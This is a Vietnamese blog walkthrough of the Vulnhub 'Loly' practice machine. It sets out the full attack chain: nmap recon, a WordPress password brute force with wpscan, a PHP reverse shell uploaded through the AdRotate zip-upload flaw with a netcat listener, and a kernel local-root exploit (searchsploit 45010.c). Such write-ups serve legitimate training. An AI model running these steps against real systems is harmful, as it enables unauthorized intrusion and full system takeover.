Giap Hiep

I'm Giap Hiep

I'm a web developer, a gymer. I enjoy share something i know that help people's work!
Giap Hiep

[Vulnhub] Loly Walkthrough

I. Mở đầu

1. Vulnhub

Vulnhub là một nền tảng cung cấp các tài liệu cho người dùng trải nghiệm thực hành trong lĩnh vực về an ninh số, phần mềm máy tính và quản trị mạng. Trên đây sẽ có rất nhiều các tài liệu khác nhau cùng các bài lab do người dùng nền tảng này xây dựng và chia sẻ.\

2. Loly machine

Đây là một machine khá đơn giản do của team SunCSR Team. Machine này được release ngày 21 Aug 2020.

Description

Difficulty: Easy
Tested: VMware Workstation 15.x Pro (This works better with VMware rather than VirtualBox)
Goal: Get the root shell i.e.(root@localhost:~#) and then obtain flag under /root).
Information: Your feedback is appreciated - Email: suncsr.challenges@gmail.com

File Information

Filename: Loly.ova
File size: 915 MB
MD5: E11B4FDB36B8250DE3EBD36BEDA37405
SHA1: C04D5CE03423B167211A8CDA53881E65BCF88AE5

Screenshots

II. User Flag

1. reconnaissance

nmap

Query:

nmap -v -sV -Pn -p- 192.168.114.131

Output

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-14 19:51 +07
Nmap scan report for loly.lc (192.168.114.131)
Host is up (0.00084s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.10.3 (Ubuntu)
MAC Address: 00:0C:29:AB:44:73 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.54 seconds

Mình thấy machine này đang chạy 1 dịch vụ web ở cổng 80. Vào trang đó, Chúng ta có màn hình này

Tiếp theo, scan 1 chút thì thấy ở trang web này có chạy 1 trang Wordpress tại /wordpress.

Vào trang đăng nhập

Vì trang web này trên loly nên mình đoán username là loly. Thử bruteforce với username này, mình có được thông tin đăng nhập vào trang admin

Command:

wpscan --url http://192.168.114.131/wordpress/ -U loly -P /root/Desktop/rockyou.txt

Kết quả:

Credential: loly:fernando

Sau khi đăng nhập, chúng ta vào được trang admin

Ở đây, trang này có cài 1 plugin là AdRotate. Plugin này có 1 lỗ hổng tại chức năng upload banners

Theo đó, người dùng có quyền upload file dưới dạng zip và sẽ được unzip tự động sau khi up lên. Tuy nhiên, plugin này không hề kiểm tra các tệp trong file zip có nguy hiểm hay không. Do đó, ta có thể upload 1 shell lên trang web và thực thi RCE.

File sau khi up lên sẽ được giải nén và lưu tại wp-content/banners. Tạo 1 cổng để nghe các kết nối tới máy với netcat:

nc -nlvp 1234

Tiếp theo, gọi tới shell vừa up lên (http://loly.lc/wordpress/wp-content/banners/php-reverse-shell.php)

Từ đó mình có được shell

uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ 

Note: Sở dĩ phải làm khá phức tạp như trên do trang đã cấu hình disable 2 tính năng theme editor và plugin editor

Có thể nâng cấp shell này 1 xíu cho dễ sử dụng với tty shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

Sau đó thử grep với từ khoá loly thì mình tìm được vài thứ hay ho

Đăng nhập vào tài khoản loly với account trên

Tuy nhiên, sau 1 hồi tìm kiếm trong tài khoản này, mình không tìm được thông tin gì hữu ích nên chuyển sang hướng nghĩ khác. Kiểm tra kernel của machine này:

loly@ubuntu:/$ uname -a
uname -a
Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

Ở đây, kernel của máy này là Linux ubuntu 4.4.0-31-generic tương đối thấp. Thử tìm với searchsploit với từ khoá searchsploit ubuntu 4. local privilege escalation, mình thấy 1 loạt mã khai thác. Sau khi thất bại với vài mã thì mình chạy được 1 mã exploits/linux/local/45010.c

Upload lên máy nạn nhân compile với gcc

PATH=PATH$:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/gcc/x86_64-linux-gnu/4.8/;export PATH
gcc 45010.c -o exploit

Câu lệnh trên là vì biến PATH trên máy chưa được set nên ta cần set cho nó giá trị. Sau khi compile, cấp quyền chạy và chạy file exploit, ta có được root shell

III. Kết luận

Đây là 1 machine khá đơn giản, thích hợp cho việc thực hành và khai thác để lấy shell. Phần leo quyền không quá khó nhưng tài khoàn user loly có thể là cái bẫy mất nhiều thời gian của người dùng. Ngoài ra, việc lỗ hổng của plugin Adrotate chưa được public (Cơ mà không còn cách nào khác) nên người chơi phải tự tìm hiểu thay vì easy search trên google.